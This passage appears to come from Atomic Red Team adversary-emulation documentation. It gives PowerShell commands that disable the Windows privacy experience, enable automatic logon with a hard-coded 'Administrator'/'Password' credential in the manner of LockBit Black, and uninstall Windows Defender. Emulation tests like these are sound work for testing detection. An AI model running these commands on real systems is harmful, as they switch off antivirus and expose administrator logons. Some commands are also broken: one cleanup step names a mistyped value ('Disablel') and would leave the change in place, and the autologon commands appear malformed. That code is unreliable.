New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -Value 1
```

Cleanup Commands:

```
Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name Disablel
```

## Atomic Test #35 - Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell

Lockbit Black - Use Registry Editor to turn on automatic logon

Supported Platforms: Windows

auto\_generated\_guid: 5e27f36d-5132-4537-b43b-413b0d5eec9a

Attack Commands: Run with `powershell` ! Elevation Required (e.g. root or admin)

```
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\Username" "Administrator"
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\Password" "Password"
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\Enabled" 1
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\DefaultUserName" "Administrator"
```

Cleanup Commands:

```
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\Username"
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\Password"
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\Enabled"
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon\DefaultUserName"
```

## Atomic Test #36 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature

The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet `Disable-WindowsOptionalFeature`, Deployment Image Servicing and Management tool. Similar to `DISM.exe`, this cmdlet is used to enumerate, install, uninstall, configure, and update features and

packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's packages. Reference: <https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps>

**Supported Platforms:** Windows

**auto\_generated\_guid:** f542ffd3-37b4-4528-837f-682874faa012

**Attack Commands:** Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart  
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart  
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart  
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard"
```